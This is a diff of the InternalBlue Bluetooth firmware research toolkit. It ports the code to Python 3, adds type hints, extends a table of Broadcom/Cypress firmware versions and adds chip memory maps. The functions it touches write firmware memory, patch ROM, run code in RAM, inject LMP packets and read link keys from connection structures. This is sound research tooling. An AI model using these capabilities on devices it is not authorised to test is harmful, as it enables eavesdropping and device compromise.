     def writeMem(self, address, data, progress_log=None, bytes_done=0, bytes_total=0):
+        # type: (int, bytes, Optional[Any], int, int) -> Optional[bool]
         """
         Writes the <data> to the memory space of the firmware at the given
         address.
@@ -930,7 +989,7 @@ class InternalBlue:
         """
 
         log.debug("writeMem: writing to 0x%x" % address)
-        
+
         if not self.check_running():
             return None
 
@@ -949,8 +1008,8 @@ class InternalBlue:
             if(response == None):
                 log.warn("writeMem: Timeout while reading response, probably need to wait longer.")
                 return False
-            elif (response[3] != '\x00'):
-                log.warn("writeMem: Got error code %s in command complete event." % response[3].encode('hex'))
+            elif (response[3] != 0):
+                log.warn("writeMem: Got error code %s in command complete event." % bytes_to_hex(response[3]))
                 return False
             write_addr += blocksize
             byte_counter += blocksize
@@ -960,31 +1019,33 @@ class InternalBlue:
         return True
 
     def launchRam(self, address):
+        # type: (int) -> bool
         """
         Executes a function at the specified address in the context of the HCI
         handler thread. The function has to comply with the calling convention.
         As the function blocks the HCI handler thread, the chip will most likely
         crash (or be resetted by Android) if the function takes too long.
         """
-        
 
         response = self.sendHciCommand(0xfc4e, p32(address))
-        if (response == None):
+        if response is None:
             log.warn("Empty HCI response during launchRam, driver crashed due to invalid code or destination")
             return False
 
-        if(response[3] != '\x00'):
-            log.warn("Got error code %x in command complete event." % response[3])
+        error_code = response[3]
+        if error_code != 0:
+            log.warn("Got error code %x in command complete event." % error_code)
             return False
-        
+
         # Nexus 6P Bugfix
-        if ('LAUNCH_RAM_PAUSE' in dir(self.fw) and self.fw.LAUNCH_RAM_PAUSE):
+        if 'LAUNCH_RAM_PAUSE' in dir(self.fw) and self.fw.LAUNCH_RAM_PAUSE:
             log.debug("launchRam: Bugfix, sleeping %ds" % self.fw.LAUNCH_RAM_PAUSE)
             time.sleep(self.fw.LAUNCH_RAM_PAUSE)
-            
+
         return True
 
     def getPatchramState(self):
+        # type: () -> Tuple[List[Optional[int]], List[Any], List[Any]]
         """
         Retrieves the current state of the patchram unit. The return value
         is a tuple containing 3 lists which are indexed by the slot number:
@@ -1001,25 +1062,25 @@ class InternalBlue:
                 return False
 
         slot_count      = self.fw.PATCHRAM_NUMBER_OF_SLOTS
-        
+
         # On Nexus 5, ReadMemAligned is required, while Nexus 6P supports this memory area with ReadRAM
         if self.fw.PATCHRAM_ALIGNED:
-            slot_dump       = self.readMemAligned(self.fw.PATCHRAM_ENABLED_BITMAP_ADDRESS, slot_count/4)
+            slot_dump       = self.readMemAligned(self.fw.PATCHRAM_ENABLED_BITMAP_ADDRESS, old_div(slot_count,4))
             table_addr_dump = self.readMemAligned(self.fw.PATCHRAM_TARGET_TABLE_ADDRESS, slot_count*4)
         else:
-            slot_dump       = self.readMem(self.fw.PATCHRAM_ENABLED_BITMAP_ADDRESS, slot_count/4)
+            slot_dump       = self.readMem(self.fw.PATCHRAM_ENABLED_BITMAP_ADDRESS, old_div(slot_count,4))
             table_addr_dump = self.readMem(self.fw.PATCHRAM_TARGET_TABLE_ADDRESS, slot_count*4)
         table_val_dump  = self.readMem(self.fw.PATCHRAM_VALUE_TABLE_ADDRESS, slot_count*4)
-        
+
         table_addresses = []
         table_values    = []
         slot_dwords     = []
         slot_bits       = []
-        for dword in range(slot_count/32):
+        for dword in range(old_div(slot_count,32)):
             slot_dwords.append(slot_dump[dword*32:(dword+1)*32])
-        
+
         for dword in slot_dwords:
-            slot_bits.extend(bits(dword[::-1])[::-1])
+            slot_bits.extend(bits(bytes(dword[::-1]))[::-1])
         for i in range(slot_count):
             if slot_bits[i]:
                 table_addresses.append(u32(table_addr_dump[i*4:i*4+4])<<2)
@@ -1030,6 +1091,7 @@ class InternalBlue:
         return (table_addresses, table_values, slot_bits)
 
     def patchRom(self, address, patch, slot=None):
+        # type: (int, Any, Optional[Any]) -> bool
         """
         Patch a 4-byte value (DWORD) inside the ROM section of the firmware
         (0x0 - 0x8FFFF) using the patchram mechanism. There are 128 available
@@ -1054,7 +1116,7 @@ class InternalBlue:
         if len(patch) != 4:
             log.warn("patchRom: patch (%s) must be a 32-bit dword!" % patch)
             return False
-        
+
         log.debug("patchRom: applying patch 0x%x to address 0x%x" % (u32(patch), address))
 
         alignment = address % 4
@@ -1104,13 +1166,14 @@ class InternalBlue:
 
         # Enable patchram slot (enable bitfield starts at 0x310204)
         # (We need to enable the slot by setting a bit in a multi-dword bitfield)
-        target_dword = int(slot / 32)
+        target_dword = int(old_div(slot, 32))
         table_slots[slot] = 1
         slot_dword = unbits(table_slots[target_dword*32:(target_dword+1)*32][::-1])[::-1]
         self.writeMem(self.fw.PATCHRAM_ENABLED_BITMAP_ADDRESS + target_dword*4, slot_dword)
         return True
 
     def disableRomPatch(self, address, slot=None):
+        # type: (int, Optional[int]) -> bool
         """
         Disable a patchram slot (see also patchRom()). The slot can either be
         specified by the target address (address that was patched) or by providing
@@ -1142,7 +1205,7 @@ class InternalBlue:
 
         # Disable patchram slot (enable bitfield starts at 0x310204)
         # (We need to disable the slot by clearing a bit in a multi-dword bitfield)
-        target_dword = int(slot / 32)
+        target_dword = int(old_div(slot, 32))
         table_slots[slot] = 0
         slot_dword = unbits(table_slots[target_dword*32:(target_dword+1)*32][::-1])[::-1]
         self.writeMem(self.fw.PATCHRAM_ENABLED_BITMAP_ADDRESS + target_dword*4, slot_dword)
@@ -1153,6 +1216,7 @@ class InternalBlue:
         return True
 
     def readConnectionInformation(self, conn_number):
+        # type: (ConnectionNumber) -> Optional[ConnectionInformation]
         """
         Reads and parses a connection struct based on the connection number.
         Note: The connection number is different from the connection index!
@@ -1163,7 +1227,7 @@ class InternalBlue:
         In the Nexus 5 firmware all connection numbers are simply the connection
         index increased by 1.
 
-        The return value is a dictionary containing all information that could
+        The return value is a ConnectionInformation object containing all information that could
         be parsed from the connection structure. If the connection struct at the
         specified connection number is empty, the return value is None.
         """
@@ -1174,7 +1238,7 @@ class InternalBlue:
         for const in ['CONNECTION_MAX', 'CONNECTION_ARRAY_ADDRESS', 'CONNECTION_STRUCT_LENGTH']:
             if const not in dir(self.fw):
                 is_array = False
-                
+
                 # Do we have a list implementation?
                 for const in ['CONNECTION_LIST_ADDRESS']:
                     if const not in dir(self.fw):
@@ -1198,26 +1262,13 @@ class InternalBlue:
         if connection == b'\x00'*self.fw.CONNECTION_STRUCT_LENGTH:
             return None
 
-        conn_dict = {}
-        conn_dict["connection_number"]    = u32(connection[:4])
-        conn_dict["remote_address"]       = connection[0x28:0x2E][::-1]
-        conn_dict["remote_name_address"]  = u32(connection[0x4C:0x50])
-        conn_dict["master_of_connection"] = u32(connection[0x1C:0x20]) & 1<<15 == 0
-        conn_dict["connection_handle"]    = u16(connection[0x64:0x66])
-        conn_dict["public_rand"]          = connection[0x78:0x88]
-        #conn_dict["pin"]                  = connection[0x8C:0x92]
-        #conn_dict["bt_addr_for_key"]      = connection[0x92:0x98][::-1]
-        effective_key_len                 = u8(connection[0xa7:0xa8])
-        conn_dict["effective_key_len"]    = effective_key_len
-        conn_dict["link_key"]             = connection[0x68:0x68+effective_key_len]
-        #new fields - TODO verify
-        conn_dict["tx_pwr_lvl_dBm"]       = u8(connection[0x9c:0x9d]) - 127
-        conn_dict["extended_lmp_feat"]    = connection[0x30:0x38] #standard p. 527
-        conn_dict["host_supported_feat"]  = connection[0x38:0x40]
-        conn_dict["id"]                   = connection[0x0c:0x0d] #not sure if this is an id?
+
+        conn_dict = ConnectionInformation.from_connection_buffer(connection)
+
         return conn_dict
 
     def sendLmpPacket(self, opcode, payload='', is_master=True, conn_handle=0x0c, extended_op=False):
+        # type: (Opcode, Any, bool, ConnectionNumber, bool) -> bool
         """
         Inject a LMP packet into a Bluetooth connection (i.e. send a LMP packet
         to a remote device which is paired and connected with our local device).
@@ -1238,50 +1289,51 @@ class InternalBlue:
 
         Returns True on success and False on failure.
         """
-        
+
         # Check the connection handle
         # Range: 0x0000-0x0EFF (all other values reserved for future use)
         if conn_handle < 0 or conn_handle > 0x0EFF:
             log.warn("sendLmpPacket: connection handle out of bounds: %d" % conn_handle)
             return False
-        
+
         # must be string...
         if payload == None:
             payload = ''
-        
+
         if ((not extended_op) and opcode > (0xff>>1)) or (extended_op and opcode > 0xff):
             log.warn("sendLmpPacket: opcode out of range!")
             return False
-        
+
         # Build the LMP packet
         opcode_data = p8(opcode<<1 | (not is_master)) if not extended_op else p8(0x7F<<1 | (not is_master)) + p8(opcode)
-        
+
         # Nexus 5 (2012) simply takes any length as argument, but later withdraws bytes if too many were passed.
         # Nexus 6P, Raspi 3+ and evaulation board (2014-2018) require a fixed 20 byte length parameter to be passed!
         #   -> 2 bytes connection handle, 1 byte length, which means 17 bytes for opcode and payload remaining
         #   sendlmp --data 11223344556677889900112233445566 01 -> actually works
         #   always pad to 17 data bytes...
         data = opcode_data + payload + '\x00'*(17 - len(opcode_data) - len(payload))
-        
+
         if len(data) > 17:
             log.warn("sendLmpPacket: Vendor specific HCI command only allows for 17 bytes LMP content.")
-        
+
         #log.info("packet: " + p16(conn_handle) + p8(len(data)) + data)
         result = self.sendHciCommand(0xfc58, p16(conn_handle) + p8(len(payload + opcode_data)) + data)
-        
+
         if result == None:
             log.warn("sendLmpPacket: did not get a result from firmware, maybe crashed internally?")
             return False
-        
+
         result = u8(result[3])
-        
+
         if result != 0:
             log.warn("sendLmpPacket: got error status 0x%02x" % result)
             return False
-        
+
         return True
 
     def fuzzLmp(self):
+        # type: ()-> bool
         """
         Installs a patch inside the sendLmp HCI handler that allows sending arbitrary
         LMP payloads. Afterwards, use sendLmpPacket as before.
@@ -1309,6 +1361,7 @@ class InternalBlue:
         return True
 
     def sendLmpPacketLegacy(self, conn_nr, opcode, payload, extended_op=False):
+        # type: (int, Opcode, bytes, bool) -> bool
         """
         Inject a LMP packet into a Bluetooth connection (i.e. send a LMP packet
         to a remote device which is paired and connected with our local device).
@@ -1345,8 +1398,8 @@ class InternalBlue:
 
         # Prepare the assembler snippet by injecting the connection number
         # and appending the LMP packet data.
-        asm_code = self.fw.SENDLMP_ASM_CODE % (conn_nr)
-        asm_code_with_data = asm_code + ''.join([".byte 0x%02x\n" % ord(x) 
+        asm_code = self.fw.SENDLMP_ASM_CODE % (conn_nr) # type: str
+        asm_code_with_data = asm_code + ''.join([".byte 0x%02x\n" % ord(x)
                 for x in data.ljust(20, "\x00")])
 
         # Assemble the snippet and write it to SENDLMP_CODE_BASE_ADDRESS
@@ -1361,6 +1414,7 @@ class InternalBlue:
             return False
 
     def sendLcpPacket(self, conn_idx, payload):
+        # type: (ConnectionIndex, bytes) -> bool
         """
         Inject a LCP packet into a Bluetooth LE connection (i.e. send a LCP packet
         to a remote device which is paired and connected with our local device).
@@ -1397,6 +1451,7 @@ class InternalBlue:
             return False
 
     def connectToRemoteDevice(self, bt_addr):
+        # type: (BluetoothAddress) -> None
         """
         Send a HCI Connect Command to the firmware. This will setup
         a connection (inserted into the connection structure) if the
@@ -1424,6 +1479,7 @@ class InternalBlue:
         self.sendHciCommand(0x0405, bt_addr[::-1] + '\x00\x00\x00\x00\x00\x00\x01')
 
     def connectToRemoteLEDevice(self, bt_addr, addr_type=0x00):
+        # type: (BluetoothAddress, int) -> None
         """
         Send a HCI LE Create Connection Command to the firmware as
         defined in the Bluetooth Core Specification 5.0 p. 1266.
@@ -1440,6 +1496,7 @@ class InternalBlue:
         self.sendHciCommand(0x200d, '\x60\x00\x30\x00\x00' + p8(addr_type) + bt_addr[::-1] + '\x01\x18\x00\x28\x00\x00\x00\xd0\x07\x00\x00\x00\x00')
 
     def connectionStatusCallback(self, record):
+        # type: (Record) -> None
         """
         HCI Callback function to detect HCI Events related to
         Create Connection
@@ -1472,6 +1529,7 @@ class InternalBlue:
             log.info("[Disconnect Complete: Handle=0x%x]" % (conn_handle))
 
     def coexStatusCallback(self, record):
+        # type: (Record) -> None
         """
         Coexistence Callback Function
         Interprets debug counters for coexistence with WiFi/LTE
@@ -1496,6 +1554,7 @@ class InternalBlue:
                 return
 
     def readHeapInformation(self):
+        # type: () -> Optional[Union[HeapInformation, bool]]
         """
         Traverses the double-linked list of BLOC structs and returns them as a
         list of dictionaries. The dicts have the following fields:
@@ -1589,6 +1648,7 @@ class InternalBlue:
 
 
     def readQueueInformation(self):
+        # type: () -> Optional[List[QueueElement]]
         """
         Traverses the double-linked list of QUEUE structs and returns them as a
         list of dictionaries. The dicts have the following fields:
@@ -1614,7 +1674,7 @@ class InternalBlue:
         for const in ['QUEUE_HEAD']:
             if const not in dir(self.fw):
                 log.warn("readQueueInformation: '%s' not in fw.py. FEATURE NOT SUPPORTED!" % const)
-                return False
+                return None
 
         # Read address of first queue struct:
         first_queue_struct_address = u32(self.readMem(self.fw.QUEUE_HEAD, 4))
@@ -1628,22 +1688,13 @@ class InternalBlue:
             if queue_fields[0] != u32("UEUQ"):
                 log.warn("readQueueInformation: QUEUE double-linked list contains non-QUEU element. abort.")
                 return None
-            current_element = {}
-            current_element["index"]           = index
-            current_element["address"]         = current_queue_struct_address
-            current_element["item_size"]       = queue_fields[2] * 4 # Item size is measured in dwords (4 Byte)
-            current_element["capacity"]        = queue_fields[3]
-            current_element["available_items"] = queue_fields[4]
-            current_element["free_slots"]      = queue_fields[5]
-            current_element["queue_buf_start"] = queue_fields[6]
-            current_element["queue_buf_end"]   = queue_fields[7]
-            current_element["next_item"]       = queue_fields[8]
-            current_element["next_free_slot"]  = queue_fields[9]
-            current_element["thread_waitlist"] = queue_fields[10]
-            current_element["waitlist_length"] = queue_fields[11]
-            current_element["next"]            = queue_fields[12]
-            current_element["prev"]            = queue_fields[13]
-            current_element["name"]            = self.fw.QUEUE_NAMES[index]
+
+            current_element = QueueElement(index, current_queue_struct_address, queue_fields[2] * 4,
+                                           queue_fields[3], queue_fields[4], queue_fields[5], queue_fields[6],
+                                           queue_fields[7], queue_fields[8], queue_fields[9], queue_fields[10],
+                                           queue_fields[11], queue_fields[12], queue_fields[13],
+                                           self.fw.QUEUE_NAMES[index])
+
             queuelist.append(current_element)
 
             current_queue_struct_address = current_element["next"]
@@ -1652,6 +1703,7 @@ class InternalBlue:
         return queuelist
 
     def enableBroadcomDiagnosticLogging(self, enable):
+        # type: (bool) -> None
         """
         Broadcom implemented their own H4 layer protocol. Normally H4 handles HCI
         messages like HCI commands, SCO and ACL data, and HCI events. Their types are
@@ -1672,9 +1724,15 @@ class InternalBlue:
         """
 
         if not self.serial:
-            self.sendH4(hci.HCI.BCM_DIAG, '\xf0' + p8(enable))
+            self.sendH4(hci.HCI.BCM_DIAG, b'\xf0' + b'\x01' if enable else b'\x00')
 
         # We can send the activation to the serial, but then the Android driver
         # itself crashes when receiving diagnostic frames...
         else:
             log.warn("Diagnostic protocol requires modified Android driver!")
+
+    def _setupSockets(self):
+        raise NotImplementedError()
+
+    def _teardownSockets(self):
+        raise NotImplementedError()

internalblue/fw/README.md

@@ -15,6 +15,7 @@ Vendor | Version | SubVersion | Firmware    | Devices | Firmware Build Date
 0x000f |    0x04 |     0x4203 |             | HP ProBook 6550b and 6450b
 0x000f |    0x05 |     0x4203 | BCM2034B    | Thinkpad T420
 0x000f |    0x05 |     0x610d |             | iPad A1395
+0x000f |    0x05 |     0x240c | BCM20733    | Magic Keyboard
 0x000f |    0x06 |     0x220e | BCM20702A1  | Asus USB Bluetooth dongle, HP Elitebook 820 G2
 0x000f |    0x06 |     0x229b | BCM20702A3  | MacBook Pro 13" mid 2012 (A1278)
 0x000f |    0x06 |     0x4103 | BCM4330B1   | iPhone 4s
@@ -28,28 +29,31 @@ Vendor | Version | SubVersion | Firmware    | Devices | Firmware Build Date
 0x000f |    0x07 |     0x410d | BCM4334     | iPhone 5 (A1429)
 0x000f |    0x07 |     0x4606 | BCM4324     | iPad Air (A1474)
 0x000f |    0x07 |     0x6109 | BCM4335C0 (BCM4339) | Nexus 5, Xperia Z3 Compact, Samsung Galaxy Note 3, LG G4 (LG-h815) | Dec 11 2012
-0x0131 |    0x08 |     0x1200 |             | Philips Sonicare
+0x0131 |    0x08 |     0x1200 |             | Philips Sonicare (Cypress SoC CY8C4247LQI-BL483, not sure if compatible)
 0x000f |    0x08 |     0x21a1 |             | MacBook Pro Retina 13" early 2015 
 0x000f |    0x08 |     0x21a6 | BCM20703A1  | MacBook Pro early 2015
 0x000f |    0x08 |     0x21a7 | BCM20703A1  | MacBook Pro early 2015 (with security fix)
+0x000f |    0x08 |     0x21a8 | BCM20703A1  | MacBook Pro early 2015 (with security fix, 10.14.6)
+0x000f |    0x08 |     0x220b | CYW20706    | CYW920706 Evaluation Kit, same ROM as MacBook Pro 2016 | Oct 22 2015 
 0x000f |    0x08 |     0x220b | BCM20707    | Fitbit Ionic 
 0x000f |    0x08 |     0x2230 | BCM20703A2  | MacBook Pro 2016 (A1707) | Oct 22 2015
-0x000f |    0x08 |     0x2246 | BCM20703A2  | MacBook Pro 2016
-0x000f |    0x08 |     0x2247 | BCM20703A2  | MacBook Pro 2016 (with security fix)
-0x000f |    0x08 |     0x224b | BCM20703A2  | MacBook Pro 2016, 2017, iMac 2017 Retina 5k
-0x000f |    0x08 |     0x224c | BCM20703A2  | MacBook Pro 15" 2017 (A1707)
+0x000f |    0x08 |     0x2246 | BCM20703A2  | MacBook Pro 2016 | Oct 22 2015
+0x000f |    0x08 |     0x2247 | BCM20703A2  | MacBook Pro 2016 (with security fix) | Oct 22 2015
+0x000f |    0x08 |     0x224b | BCM20703A2  | MacBook Pro 2016, 2017, iMac 2017 Retina 5k | Oct 22 2015
+0x000f |    0x08 |     0x224c | BCM20703A2  | MacBook Pro 15" 2017 (A1707) | Oct 22 2015
 0x000f |    0x08 |     0x240f | BCM4358A3   | Nexus 6P, Samsung Galaxy S6, Samsung Galaxy S6 edge | Oct 23 2014 
-0x000f |    0x08 |     0x4109 | BCM4345B0   | iPhone 6 | Jul 15 2013
+0x000f |    0x08 |     0x4109 | BCM4345B0   | iPhone 6 (Tempranillo) | Jul 15 2013
 0x000f |    0x08 |     0x430a |             | iPad Pro 2016 (MLMW2FD/A)
-0x000f |    0x08 |     0x6103 | BCM4355C0   | iPhone 7 (A1778) | Sep 14 2015
-0x000f |    0x08 |     0x6106 |             | Samsung Galaxy S7
-0x000f |    0x08 |     0x617e | BCM4350     | MacBook Pro 2017 (Retina 12", 13"), MacBook Pro (13", 2016)
-0x000f |    0x08 |     0x6119 | BCM4345C0   | Raspberry Pi 3+, Honor 8 | Aug 19 2014
-0x000f |    0x08 |     0x6206 | BCM4345C1   | iPhone SE | Jan 27 2015
-0x000f |    0x09 |     0x102f | BCM4355     | MacBook Air 2019 13" Retina
-0x000f |    0x09 |     0x112f | BCM4364B0   | MacBook Pro 2019 13" 4x Thunderbold
+0x000f |    0x08 |     0x6103 | BCM4355C0   | iPhone 7 A1778 (Elsa) | Sep 14 2015
+0x000f |    0x08 |     0x6106 |             | Samsung Galaxy S7, Huawei P20
+0x000f |    0x08 |     0x617e | BCM4350     | MacBook Pro 2017 (Retina 12", 13"), MacBook Pro (13", 2016) | May 28 2013
+0x000f |    0x08 |     0x6119 | BCM4345C0   | Raspberry Pi 3+, Honor 8, Xperia X | Aug 19 2014
+0x000f |    0x08 |     0x6206 | BCM4345C1   | iPhone SE (Hans), iPod Touch 7th Generation (MVJ72FD/A) | Jan 27 2015
+0x000f |    0x09 |     0x102f | BCM4355     | MacBook Air 2019 13" Retina | Mar 7 2017
+0x000f |    0x09 |     0x112e | BCM4364B0   | iMac Retina 4K 21.5"/27" 2019 macOS Mojave 10.14.6 | Aug 21 2015
+0x000f |    0x09 |     0x112f | BCM4364B0   | MacBook Pro 2019 13" 4x Thunderbold | Aug 21 2015
 0x000f |    0x09 |     0x103f | BCM4364     | iMac Pro 2017
-0x000f |    0x09 |     0x2023 | BCM4377     | MacBook Pro 2019 13" 2x Thunderbold
+0x000f |    0x09 |     0x2023 | BCM4377B3   | MacBook Pro 2019 13" 2x Thunderbold (Formosa) | Feb 28 2018
 0x000f |    0x09 |     0x203f | BCM4364     | MacBook Pro (13", 2018)
 0x000f |    0x09 |     0x2040 |             | Apple Watch Series 3
 0x000f |    0x09 |     0x2043 | BCM4346B0   | MacBook Pro 2019 15"
@@ -59,10 +63,11 @@ Vendor | Version | SubVersion | Firmware    | Devices | Firmware Build Date
 0x000f |    0x09 |     0x4208 | BCM4375B1   | Samsung Galaxy S10e, Samsung Galaxy S10, Samsung Galaxy S10+, Samsung Galaxy Note 10/10+  (local version is 0x1111) | April 13 2018
 0x000f |    0x09 |     0x420e | BCM4347B1   | iPhone 8, XR, X | Oct 11 2016
 0x0131 |    0x09 |     0x420e | CYW20739B1  | Bluetooth 5.0 BLE Evaluation Kit CYW920719Q40EVB-01 | Jan 17 2017
-0x000f |    0x09 |     0x4307 |             | iPhone XS, iPhone Xs Max, iPad Pro 11" 3E149FD/A, iPad Pro 11" 3E148FD/A, iPad Pro 12.9" 3rd gen 3D941FD/A, iPad mini 5th gen 3F559FD/A, iPad Air 3rd gen 3F561FD/A
+0x000f |    0x09 |     0x4307 | BCM4377B2   | iPhone XS (Aladdin), iPhone Xs Max (Genie), iPad Pro 11" 3E149FD/A, iPad Pro 11" 3E148FD/A, iPad Pro 12.9" 3rd gen 3D941FD/A, iPad mini 5th gen 3F559FD/A, iPad Air 3rd gen 3F561FD/A
 0x000f |    0x09 |     0x4309 |             | Samsung Galaxy Note 9, Samsung Galaxy S9, S9+
-0x0131 |    0x09 |     0x6119 | BCM4345C0   | Raspberry Pi 4 with Bluetooth 5 patches, same ROM as 3+ | Aug 19 2014
-0x0131 |    0x09 |     0x6214 |             | iPad 6th gen 3D575FD/A, iPad 6th gen MRJN2FD/A
+0x0131 |    0x09 |     0x6119 | BCM4345C0   | Raspberry Pi 3+/4 --- *with Bluetooth 5 patches, same ROM as 3+* | Aug 19 2014
+0x000f |    0x09 |     0x6214 | BCM4355C1   | iPad 6th gen 3D575FD/A, iPad 6th gen MRJN2FD/A, iPad 6th gen MR7J2FD/A A1893 (FigaroA)
+0x000f |    0x0a |     0x4228 | BCM4378B1   | iPhone 11 (Hei), iPhone 11 Pro (Moana), iPhone 11 Pro Max (Tala) --- *announce BT 5.1 over the air despite being specified as BT 5 online*
 
 
 
@@ -84,6 +89,7 @@ There is a couple of issues causing trouble running *InternalBlue*, which are re
 * CYW20735B1
   * `Launch_RAM` works in principle, but threading seems to be broken if the executed code generates other HCI events.
   A hook at `0xB0316` is a nice spot to implement a function that generates HCI events and can be called via the HCI command `0xfc19`.
+  The general solution seems to be `self.internalblue.patchRom(0x3d32e, "\x70\x47\x70\x47")` respectively `patch -a 0x3d32e --asm bx lr`, which fixes that the baud rate is set to a wrong value during `Launch_RAM`.
   
 Firmware Version and Build Date
 -------------------------------

internalblue/fw/fw.py

@@ -23,10 +23,12 @@
 #   out of or in connection with the Software or the use or other dealings in the
 #   Software.
 
+from builtins import hex
+from builtins import object
 from pwn import log
 
 
-class Firmware:
+class Firmware(object):
     def __init__(self, version=None, iOS=False):
         """
         Load and initialize the actual firmware add-ons for Nexus 5, Raspi3, etc.
@@ -60,7 +62,7 @@ class Firmware:
         log.info("Loaded firmware information for " + self.firmware.FW_NAME + ".")
 
 
-class MemorySection:
+class MemorySection(object):
     """
     All firmwares have memory sections that can be RAM, ROM or neither of both.
     """

internalblue/fw/fw_0x1111.py

@@ -1,3 +1,4 @@
+from __future__ import absolute_import
 # fw_0x420e.py
 #
 # Generic firmware file in case we do not know something...
@@ -20,7 +21,7 @@
 #   out of or in connection with the Software or the use or other dealings in the
 #   Software.
 
-from fw import MemorySection
+from .fw import MemorySection
 
 # Firmware Infos
 # Samsung S10/S10e/S10+
@@ -47,6 +48,9 @@ PATCHRAM_VALUE_TABLE_ADDRESS    = 0x160000
 PATCHRAM_NUMBER_OF_SLOTS        = 256
 PATCHRAM_ALIGNED                = False
 
+BLOC_HEAD = 0x20075c
+BLOC_NG = True
+
 # Assembler snippet for tracepoints
 # In contrast to the Nexus 5 patch, we uninstall ourselves automatically and use internal debug functions
 # TODO S10e does no longer have a patch uninstall function... writemem works to remove patches, but copying

internalblue/fw/fw_0x2209.py

@@ -27,6 +27,7 @@
 
 # Firmware Infos
 # This runs on Rasperry Pi 3
+from builtins import object
 FW_NAME = "BCM43430A1"
 
 # Device Infos
@@ -34,7 +35,7 @@ DEVICE_NAME = 0x20401C
 BD_ADDR = 0x201C64
 
 # Memory Sections
-class MemorySection:
+class MemorySection(object):
     def __init__(self, start_addr, end_addr, is_rom, is_ram):
         self.start_addr = start_addr
         self.end_addr = end_addr
@@ -50,7 +51,7 @@ SECTIONS = [ MemorySection(0x0,      0x90000,  True , False),
              MemorySection(0xd0000,  0xd8000,  False, True ),
             #MemorySection(0xe0000,  0x1f0000, True , False),
              MemorySection(0x200000, 0x21ffff, False, True ),
-             MemorySection(0x260000, 0x268000, True , False),
+            #MemorySection(0x260000, 0x268000, True , False),  # might crash? issue 14
             #MemorySection(0x280000, 0x2a0000, True , False),
              MemorySection(0x318000, 0x320000, False, False),
              MemorySection(0x324000, 0x360000, False, False),
@@ -74,6 +75,10 @@ PATCHRAM_VALUE_TABLE_ADDRESS    = 0xd0000
 PATCHRAM_NUMBER_OF_SLOTS        = 128
 PATCHRAM_ALIGNED                = False
 
+# Heap
+BLOC_HEAD = 0x200588                    # g_dynamic_memory_GeneralUsePools
+BLOC_NG = True                          # Next Generation Bloc Buffer
+
 # Snippet for sendLcpPacket()
 SENDLCP_CODE_BASE_ADDRESS = 0x21a000
 SENDLCP_ASM_CODE = """

internalblue/fw/fw_0x220b.py

@@ -0,0 +1,46 @@
+from __future__ import absolute_import
+# fw_0x420e.py
+#
+# Generic firmware file in case we do not know something...
+#
+# Copyright (c) 2019 Jiska Classen. (MIT License)
+#
+# Permission is hereby granted, free of charge, to any person obtaining a copy of
+# this software and associated documentation files (the "Software"), to deal in
+# the Software without restriction, including without limitation the rights to
+# use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of
+# the Software, and to permit persons to whom the Software is furnished to do so,
+# subject to the following conditions:
+# - The above copyright notice and this permission notice shall be included in
+#   all copies or substantial portions of the Software.
+# - The Software is provided "as is", without warranty of any kind, express or
+#   implied, including but not limited to the warranties of merchantability,
+#   fitness for a particular purpose and noninfringement. In no event shall the
+#   authors or copyright holders be liable for any claim, damages or other
+#   liability, whether in an action of contract, tort or otherwise, arising from,
+#   out of or in connection with the Software or the use or other dealings in the
+#   Software.
+
+from .fw import MemorySection
+
+# Firmware Infos
+# Evaluation Kit CYW20706
+FW_NAME = "CYW20706"
+
+
+# Memory Sections
+#                          start,    end,           is_rom? is_ram?
+SECTIONS = [ MemorySection(0x00000000, 0x000c7fff,  True,  False),  # Internal ROM
+             MemorySection(0x000d0000, 0x000dffff,  False, True ),
+             MemorySection(0x00200000, 0x00247fff,  False, True),   # Internal Memory Cortex M3
+             ]
+
+# Patchram
+#PATCHRAM_TARGET_TABLE_ADDRESS   = 0x310000
+#PATCHRAM_ENABLED_BITMAP_ADDRESS = 0x310404
+#PATCHRAM_VALUE_TABLE_ADDRESS    = 0x0d0000
+#PATCHRAM_NUMBER_OF_SLOTS        = 256
+PATCHRAM_ALIGNED                = True
+# only seems to work 4-byte aligned here ...
+
+

internalblue/fw/fw_0x220c.py

@@ -1,3 +1,4 @@
+from __future__ import absolute_import
 # fw_0x420e.py
 #
 # Generic firmware file in case we do not know something...
@@ -20,11 +21,11 @@
 #   out of or in connection with the Software or the use or other dealings in the
 #   Software.
 
-from fw import MemorySection
+from .fw import MemorySection
 
 # Firmware Infos
 # Evaluation Kit CYW920819
-FW_NAME = "CYW20819"
+FW_NAME = "CYW20819A1"
 
 
 # Memory Sections

internalblue/fw/fw_0x220e.py

@@ -23,7 +23,8 @@
 #   out of or in connection with the Software or the use or other dealings in the
 #   Software.
 
-from fw import MemorySection
+from __future__ import absolute_import
+from .fw import MemorySection
 
 # Firmware Infos
 FW_NAME = "BCM20702A1 (USB Bluetooth dongle)"

internalblue/fw/fw_0x2230.py

@@ -22,7 +22,8 @@
 #   out of or in connection with the Software or the use or other dealings in the
 #   Software.
 
-from fw import MemorySection
+from __future__ import absolute_import
+from .fw import MemorySection
 
 # Firmware Infos
 FW_NAME = "BCM20703A2 (MacBook Pro 2016)"

internalblue/fw/fw_0x240f.py

@@ -25,7 +25,8 @@
 #   out of or in connection with the Software or the use or other dealings in the
 #   Software.
 
-from fw import MemorySection
+from __future__ import absolute_import
+from .fw import MemorySection
 
 # Firmware Infos
 # This runs on Nexus 6P, Samsung Galaxy S6, Samsung Galaxy S6 edge

internalblue/fw/fw_0x4109.py

@@ -20,7 +20,7 @@
 #   out of or in connection with the Software or the use or other dealings in the
 #   Software.
 
-from fw import MemorySection
+from .fw import MemorySection
 
 # Firmware Infos
 # iPhone 6
@@ -29,15 +29,55 @@ FW_NAME = "BCM4345B0"
 
 # Memory Sections
 #                          start,    end,           is_rom? is_ram?
-SECTIONS = [ #MemorySection(0x00000000, 0x000c07ff,  True,  False),  # Internal ROM
+SECTIONS = [ MemorySection(0x00000000, 0x000c07ff,  True,  False),  # Internal ROM
              MemorySection(0x000d0000, 0x000dffff,  False, True),   # Internal Memory Patchram Contents
-             #MemorySection(0x00200400, 0x00201cff,  False, True),   # Internal Memory Cortex M3
+             MemorySection(0x00200400, 0x00201cff,  False, True),   # Internal Memory Cortex M3
              ]
 
 # Patchram
-#PATCHRAM_TARGET_TABLE_ADDRESS   = 0x310000 #TODO needs to be aligned read
-#PATCHRAM_ENABLED_BITMAP_ADDRESS = 0x310204
-#PATCHRAM_VALUE_TABLE_ADDRESS    = 0xd0000
-#PATCHRAM_NUMBER_OF_SLOTS        = 128
-#PATCHRAM_ALIGNED                = True
-# only seems to work 4-byte aligned here ...
